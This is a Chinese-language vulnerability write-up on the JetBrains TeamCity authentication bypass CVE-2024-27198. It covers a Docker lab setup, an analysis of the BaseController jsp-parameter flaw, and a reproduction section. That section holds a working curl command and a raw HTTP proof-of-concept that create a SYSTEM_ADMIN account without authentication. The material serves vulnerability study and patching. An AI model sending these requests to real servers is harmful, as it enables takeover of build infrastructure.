摘要

Teamcity 认证绕过致代码执行漏洞(CVE-2024-27198)

1 漏洞简介

JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。它提供了一个功能强大的平台,用于自动化构建、测试和部署软件项目。TeamCity旨在简化团队协作和软件交付流程,提高开发团队的效率和产品质量。

JetBrains TeamCity在2023.11.4版本之前存在认证绕过漏洞,允许执行管理员操作。攻击者可以精心设计一个 URL,以避免所有身份验证检查,从而允许未经身份验证的攻击者直接访问需要身份验证的端点。未经身份验证的远程攻击者可以利用此漏洞完全控制易受攻击的 TeamCity 服务器。

2 影响范围

Teamcity < 2023.11.4

3 环境搭建

3.1 导入docker image

1
$ docker load -i teamcity.tar

3.2启动环境

1
$ docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity:web

3.3docker-compose.yml(与上述启动环境方式二选一即可)

为了方便调试,可以利用docker-compose.yml增加一个调试端口映射5050端口。

1
2
3
4
5
6
7
8
version: '2'
services:
web:
image: jetbrains/teamcity:web
ports:
- "8111:8111"
- "5050:5050"
user: "0"

添加user参数为0可以用root权限进行启动。

1
docker-compose up -d

3.4导出源码

环境起来后,进入容器内部。

1
docker exec -it id bash

从上图可以看到teamcity的安装目录,进一步寻找即可找到源码所在目录/opt/teamcity/webapps/ROOT

利用docker cp命令将源码拷贝出来。

1
2
$docker cp Name:/container_path to_path  
$docker cp ID:/container_path to_path

3.5IDEA调试

利用IDEA加载拷贝出的源码。通过 IDEA 引入并增加相关依赖。

编辑JVM调试环境。

我是从kali虚拟机启动的环境,所以主机设置为192.168.197.128,因为docker-compose.yml映射出来的调试端口是5050,所以将JVM调试的端口设置为5050。

将远程JVM的命令行实参复制,下面会用到。

1
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050

通过 ps auxps -le 可以确定启动脚本的位置和父进程。

由于该docker环境中没有vi和vim命令,利用apt进行vim下载。

1
apt update && apt install -y vim

利用vim编辑启动脚本/opt/teamcity/bin/teamcity-server-restarter.sh。(可提前进入/opt/teamcity/bin/目录,方便后续操作)

将刚才复制的命令行实参加进去。

根据提示重启服务。

现在在IDEA中即可下断点进行调试。

4 漏洞分析

该漏洞存在于该类jetbrains.buildServer.controllers.BaseController处理某些请求的方式上,这个类是在web-openapi.jar库中实现的。在源码中找到web-openapi.jar并将它右键添加为库,然后进行代码分析。

我们可以在下面看到,当BaseController类中的方法正在处理handleRequestInternal请求时,如果请求没有被重定向(即处理程序未发出 HTTP 302 重定向),则将调用updateViewIfRequestHasJspParameter方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
ModelAndView modelAndView = this.doHandle(request, response);
if (modelAndView != null) {
if (modelAndView.getView() instanceof RedirectView) {
modelAndView.getModel().clear();
} else {
this.updateViewIfRequestHasJspParameter(request, modelAndView);
}
}

return modelAndView;
}

在下面列出的方法中,我们可以看到,如果当前modelAndView请求有名称,并且当前请求的 servlet 路径不以 .jsp结尾,则updateViewIfRequestHasJspParameter该变量isControllerRequestWithViewName将被设置为 true 。

我们可以通过向服务器请求 URI 来生成 HTTP 404 响应来满足此要求。这样的请求将生成一个 servlet 路径/404.html.html我们可以注意到,这以而非结尾.jsp,因此isControllerRequestWithViewNamewill 为真。

接下来我们可以看到该方法getJspFromRequest将被调用,并且该调用的结果将传递给 Java Spring 框架ModelAndView.setViewName方法。这样做的结果允许攻击者更改 正在处理的 URL DispatcherServlet,从而允许攻击者在可以控制变量内容的情况下调用任意端点 jspFromRequest

1
2
3
4
5
6
7
8
9
10
private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {
// 判断当前请求是否由控制器处理,并且没有以.jsp结尾(即不是直接返回JSP页面)
boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
String jspFromRequest = this.getJspFromRequest(request);
// 如果当前请求由控制器处理,并且JSP参数不为空,且模型视图名称与JSP参数不相同
if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
modelAndView.setViewName(jspFromRequest);
}

}

要了解攻击者如何指定任意端点,我们可以检查getJspFromRequest下面的方法。

此方法将检索当前请求中指定的 HTTP 参数jsp的字符串值。将测试该字符串值以确保它以受限路径.jsp段结尾且不包含受限路径段admin/

1
2
3
4
protected String getJspFromRequest(@NotNull HttpServletRequest request) {
String jspFromRequest = request.getParameter("jsp");
return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

5 漏洞复现

要了解如何利用此漏洞,我们可以定位示例端点。端点/app/rest/server将返回当前服务器版本信息。如果我们直接请求该端点,则请求将失败,因为请求未经身份验证。

要利用此漏洞成功调用需要经过身份验证的端点/app/rest/server,未经身份验证的攻击者必须在 HTTP(S) 请求期间满足以下三个要求:

  • 请求未经身份验证的资源,该资源会生成 404 响应。这可以通过请求不存在的资源来实现,例如:

    • /polar
  • 传递名为 jsp 的 HTTP 查询参数,其中包含经过身份验证的 URI 路径的值。这可以通过附加 HTTP 查询字符串来实现,例如:

    • ?jsp=/app/rest/server
  • 确保任意 URI 路径以 .jsp 结尾。这可以通过附加 HTTP 路径参数段来实现,例如:

    • ;.jsp

    • 对于 http://192.168.197.128:8111/pwned?jsp=/app/rest/users;.jsp,请求参数 jsp 的值是 /app/rest/users;.jsp,这个值包含了一个分号 ;,后面跟着 .jsp。在这种情况下,.jsp 并不是路径的结尾,因此如果使用 request.getServletPath().endsWith(".jsp"),结果将是 false

      对于 http://192.168.197.128:8111/pwned?jsp=/app/rest/users.jsp,请求参数 jsp 的值是 /app/rest/users.jsp,这个值直接以 .jsp 结尾。在这种情况下,如果使用 request.getServletPath().endsWith(".jsp"),结果将是 true,因为路径的结尾正好是 .jsp

结合上述要求,攻击者的URI路径变为:

1
/polar?jsp=/app/rest/server;.jsp

例如,未经身份验证的攻击者可以通过针对/app/rest/usersREST API 端点,使用攻击者控制的密码创建新的管理员用户:

1
curl -ik http://192.168.197.128:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"

poc数据包。

1
2
3
4
5
6
7
8
POST /polar?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.197.128:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

6 漏洞修复

升级到2023.11.4及以上版本。